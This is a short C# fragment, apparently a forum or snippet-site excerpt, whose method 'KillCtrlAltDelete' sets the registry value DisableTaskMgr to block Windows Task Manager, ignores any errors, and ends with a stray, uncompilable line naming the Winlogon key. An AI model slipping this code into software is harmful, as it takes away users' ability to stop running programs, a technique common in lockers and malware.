public void KillCtrlAltDelete()
{
RegistryKey regkey;
string keyValueInt = "1";
string subKey = @"Software\Microsoft\Windows\CurrentVersion\Policies\System";
try
{
regkey = Registry.CurrentUser.CreateSubKey(subKey);
regkey.SetValue("DisableTaskMgr", keyValueInt);
regkey.Close();
}
catch (Exception ex)
{ }
}
string subKey = @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon";